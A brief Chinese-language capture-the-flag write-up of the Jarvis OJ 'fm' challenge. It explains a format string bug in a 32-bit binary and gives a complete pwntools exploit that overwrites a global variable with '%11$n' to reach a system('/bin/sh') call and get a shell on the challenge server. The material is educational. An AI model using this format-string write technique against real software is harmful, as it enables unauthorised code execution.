题目信息

nc pwn2.jarvisoj.com 9895

fm.eaef2247796c11db798a579396482399

32位elf,没开PIE,其他基本都开了:

静态分析

有一个明显的格式化字符串漏洞,当x为4时会执行system(“/bin/sh”),x的值初始化3

exploit

所以就要利用格式化字符串漏洞的任意地址读写,“x_addr%[i]$n”,%n可以将已经输出的字符个数写入到指定的参数中,这个格式化字符串会在栈上的某处,需要定位x_addr作为printf的第几个参数来确定[i]的值,由于x_addr在32位程序中刚好是4个字节,所以这个格式化字符串刚好能把相应参数变为4。通过gdb确定位置

可以确定是第11个参数:

那么就可以把AAAA替换为x的地址,p换成n就可以把x写成4

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

elf = ELF('./fm')

sh = remote('pwn2.jarvisoj.com', 9895)
# sh = process('./fm')
context.arch = elf.arch
# context.log_level = 'debug'

x_addr = 0x0804A02C

payload = p32(x_addr) + "%11$n"

sh.sendline(payload)
sh.interactive()

getflag